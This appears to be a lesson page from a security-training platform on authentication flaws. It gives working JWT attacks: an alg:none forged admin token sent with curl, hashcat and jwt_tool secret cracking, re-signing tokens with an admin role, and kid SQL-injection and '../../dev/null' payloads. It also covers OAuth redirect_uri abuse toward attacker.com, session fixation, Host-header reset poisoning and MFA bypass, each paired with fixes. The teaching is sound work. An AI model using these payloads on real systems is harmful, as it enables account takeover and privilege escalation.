Authentication Vulnerabilities: JWT, OAuth & Sessions

Explore and exploit authentication vulnerabilities — JWT attacks (alg:none, weak secrets, kid injection), OAuth misconfigurations, session management flaws, and MFA bypass techniques.

Hard 70m 3 tasks
Prerequisites: CSRF & Clickjacking

Learning Objectives

  • → Exploit JWT vulnerabilities: alg:none, weak HMAC secrets, kid injection
  • → Identify and exploit OAuth 2.0 misconfigurations
  • → Bypass authentication via password reset poisoning and account takeover chains
  • → Analyze session fixation, session prediction, and session hijacking
  • → Implement secure JWT validation, OAuth flows, and session management

JWT – JSON Web Tokens

JWT Structure

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIiLCJleHAiOjE2OTk5OTk5OTl9.SIGNATURE

Header  = Base64url({"alg":"HS256","typ":"JWT"})
Payload = Base64url({"sub":"user123","role":"user","exp":1699999999})
Signature = HMAC-SHA256(header + "." + payload, secret)

Decode (anyone can):
echo "eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIifQ==" | base64 -d
{"sub":"user123","role":"user"}

JWT Attack 1: alg:none

Some libraries accept alg:none — no signature required:

1. Take a valid JWT
2. Change header: {"alg":"none","typ":"JWT"}
3. Modify payload: {"sub":"user123","role":"admin"}
4. Remove signature: header.payload.   (empty signature)
5. Submit → if server accepts, you are admin

curl -H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6ImFkbWluIn0." /api/admin

JWT Attack 2: Weak HS256 Secret

# JWT signed with weak secret like "secret" or "123456"
# Brute force with hashcat or jwt_tool:
hashcat -a 0 -m 16500 token.jwt /usr/share/wordlists/rockyou.txt

# Or jwt_tool:
python3 jwt_tool.py TOKEN -C -d /wordlists/rockyou.txt

# Once secret found: sign arbitrary payload with the same secret
python3 -c "
import jwt
print(jwt.encode({'sub': 'admin', 'role': 'admin'}, 'secret', algorithm='HS256'))
"

JWT Attack 3: Algorithm Confusion (RS256 → HS256)

If server uses RS256 (RSA asymmetric):
  Signs with private key
  Verifies with public key

Attack: change alg from RS256 to HS256
  Tell server: alg=HS256, secret = PUBLIC KEY
  Server verifies: HMAC(payload, public_key)
  Attacker can sign with: HMAC(modified_payload, public_key)
  [Public key is, well, public — attacker can get it!]

# Requires: server does not enforce algorithm, uses public key as HS256 secret

JWT Attack 4: kid (Key ID) Injection

// kid points to which key to use for verification
{"alg":"HS256","typ":"JWT","kid":"key1"}

// SQL injection via kid:
{"kid": "' UNION SELECT 'attacker_secret' -- "}
// Server executes: SELECT key FROM keys WHERE kid = '...'
// Injects attacker's own secret → signs with that secret

// Directory traversal via kid:
{"kid": "../../dev/null"}
// Server reads /dev/null as the key → empty string
// Sign with empty string HMAC → attacker controls tokens

JWT Defense

# Always:
import jwt

# Verify with explicit algorithm (never accept 'none')
payload = jwt.decode(
    token,
    secret,
    algorithms=["HS256"],   # explicit — not token.get('alg')
    options={"require": ["exp", "iat"]}
)

# Check expiry, issuer, audience:
payload = jwt.decode(
    token, secret, algorithms=["HS256"],
    audience="api.example.com",
    issuer="auth.example.com",
)

# Use strong secrets (min 256-bit for HS256):
import secrets
JWT_SECRET = secrets.token_hex(32)  # 256-bit random

# Prefer RS256 in production:
# Sign with private key, verify with public key only

OAuth 2.0

OAuth Flow (Authorization Code)

1. User clicks "Login with Google"
2. App redirects to Google:
   https://accounts.google.com/oauth/authorize?
     client_id=APP_ID&
     redirect_uri=https://app.com/callback&
     response_type=code&
     scope=email profile&
     state=RANDOM_STATE

3. User logs in to Google, approves
4. Google redirects back:
   https://app.com/callback?code=AUTH_CODE&state=RANDOM_STATE

5. App exchanges code for tokens (server-side):
   POST https://accounts.google.com/oauth/token
   client_id=... client_secret=... code=AUTH_CODE

6. App gets access_token + id_token

OAuth Misconfiguration 1: Open redirect_uri

Attack: Attacker registers https://app.com:
  /callback?code=CODE   (legitimate)
  /callback/../redirect?url=evil.com (redirects to evil.com)

If server allows redirect_uri to be anything under app.com:
  https://app.com/evil-path

Or wildcard: redirect_uri=https://attacker.com/evil
Auth server accepts it → auth code sent to attacker.com

Fix: exact match on redirect_uri (no wildcards, no path traversal)

OAuth Misconfiguration 2: Missing state parameter

state is a CSRF token for OAuth:
1. Without state: attacker can fix auth code
2. Attacker starts OAuth flow, gets to step 2, pauses
3. Victim clicks attacker's link: starts THEIR OAuth at step 4
4. Victim's auth code used to log into app as victim
   → Attacker's app session = victim's account

# Fix: generate random state, store in session, verify on return

OAuth Misconfiguration 3: Implicit Grant in SPA

Implicit grant: access_token in URL fragment
https://app.com/callback#access_token=...

Problems:
- Token in URL → logged in browser history, Referer headers
- No refresh tokens
- Client secret not verified

Fix: Use authorization_code + PKCE for SPAs:
  PKCE: Proof Key for Code Exchange
  code_verifier: random string
  code_challenge: SHA256(code_verifier)
  Server verifies: code_verifier matches stored code_challenge

Session Management Attacks

Session Fixation

1. Attacker visits site → gets session ID: SID=abc123
2. Attacker sends victim a link with their SID:
   https://example.com/login?sessionid=abc123
3. Victim logs in using SID=abc123
4. Server authenticates victim but keeps SID=abc123
5. Attacker uses SID=abc123 → now authenticated as victim!

Fix: Always regenerate session ID on login (and privilege change):
# Django — done automatically by login():
from django.contrib.auth import login
login(request, user)  # new session ID assigned

Password Reset Poisoning

Forgot password flow:
POST /reset-password
Host: evil.com   (attacker-controlled)
Content: email=victim@example.com

Vulnerable code:
reset_link = f"https://{request.get_host()}/reset?token={token}"
email(victim, reset_link)

Attack:
- Attacker sends request with modified Host header
- Victim gets email with link to evil.com/reset?token=...
- Victim clicks → attacker receives token → resets password

Fix: Hardcode the reset URL domain (never use Host header for security-critical URLs)

Brute Force & Rate Limiting

# Lock account after N failures:
MAX_ATTEMPTS = 5
LOCK_DURATION = timedelta(minutes=15)

user.failed_login_attempts += 1
if user.failed_login_attempts >= MAX_ATTEMPTS:
    user.locked_until = now() + LOCK_DURATION

# Rate limit by IP (django-ratelimit):
from ratelimit.decorators import ratelimit

@ratelimit(key='ip', rate='5/m', block=True)
def login(request):
    ...

# Progressive delay:
time.sleep(2 ** min(attempts, 5))  # 2, 4, 8, 16, 32 seconds

MFA Bypass Techniques

1. Response manipulation:
   Server returns: {"mfa_required": true}
   Attacker changes to: {"mfa_required": false}
   → MFA step skipped

2. Rate limit bypass:
   6-digit TOTP = 1,000,000 combinations
   If no rate limit: brute force in under an hour

3. Skip step in multi-step auth:
   /login → /mfa → /dashboard
   Navigate directly to /dashboard without MFA step

4. Backup code theft via social engineering or SQLi

5. SIM swapping — attacker takes over victim's phone number
   → All SMS OTPs go to attacker

Using jwt.io or jwt_tool: (1) decode a JWT without a library — base64url decode header and payload, (2) attempt alg:none attack — modify payload and remove signature, (3) crack a JWT signed with 'secret' using hashcat or jwt_tool -C, (4) re-sign the token with 'admin' role using the cracked secret, (5) test kid=../../dev/null injection.

✦ Answer the questions to complete this task

Why is the alg:none vulnerability so serious?

Why should you use algorithms=['HS256'] explicitly in jwt.decode()?

Set up a minimal OAuth client and test: (1) start an authorization code flow, (2) modify redirect_uri to https://evil.com — does the server allow it? (3) start a flow without state parameter — demonstrate CSRF via OAuth, (4) steal the authorization code by intercepting the redirect, (5) exchange the code for tokens.

✦ Answer the questions to complete this task

What is PKCE and why is it needed for SPAs?

Harden a Django application's session management: (1) verify session ID regenerates on login (Django does this automatically — confirm), (2) set SESSION_COOKIE_SECURE=True, SESSION_COOKIE_HTTPONLY=True, SESSION_COOKIE_SAMESITE='Strict', (3) implement session timeout: SESSION_COOKIE_AGE=1800 (30 min), (4) implement account lockout after 5 failed logins, (5) fix password reset to use hardcoded domain not Host header.

✦ Answer the questions to complete this task

Why is password reset link generation via Host header dangerous?

💪 Exercises & Challenges

📝 MCQ Medium +20 XP

Auth Vulnerabilities MCQ

Auth Vulnerabilities MCQ

Start →
⚙️ Practical Medium +30 XP

Secure a JWT Authentication System

Secure a JWT Authentication System

Start →
🚩 Challenge Hard +50 XP

OAuth State CSRF

OAuth State CSRF

Start →